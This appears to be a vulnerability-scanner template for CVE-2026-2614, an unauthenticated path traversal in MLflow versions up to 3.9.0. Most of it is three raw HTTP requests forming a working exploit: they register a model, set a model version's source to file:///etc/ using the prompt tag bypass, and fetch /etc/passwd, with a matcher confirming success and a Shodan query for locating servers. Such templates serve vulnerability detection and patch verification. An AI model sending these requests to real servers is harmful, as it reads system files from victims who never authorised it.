id: CVE-2026-2614 info: name: MLflow <= 3.9.0 - Arbitrary File Read author: str4k3r severity: high description: | mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files. impact: | Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise. remediation: | Upgrade to version 3.10.0 or later. reference: - https://github.com/mlflow/mlflow/security/advisories - https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a - https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6 - https://nvd.nist.gov/vuln/detail/CVE-2026-2614 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-2614 epss-score: 0.03608 epss-percentile: 0.88715 cwe-id: CWE-22 metadata: max-request: 3 verified: true vendor: mlflow product: mlflow shodan-query: title:"MLflow" tags: cve,cve2026,mlflow,lfi,traversal,vkev variables: model: "{{to_lower(rand_base(10))}}" http: - raw: - | POST /api/2.0/mlflow/registered-models/create HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name":"{{model}}"} - | POST /api/2.0/mlflow/model-versions/create HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name":"{{model}}","source":"file:///etc/","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]} - | GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a0048304602210099de6f9858eb44ebd093dd68d4ab18469f1846c97e6156f9d74c166b8d688984022100c6fd1735fcdb3400812f77553aa70ef34a2dcb569f5032db8bd1f4218aba1556:922c64590222798bb761d5b6d8e72950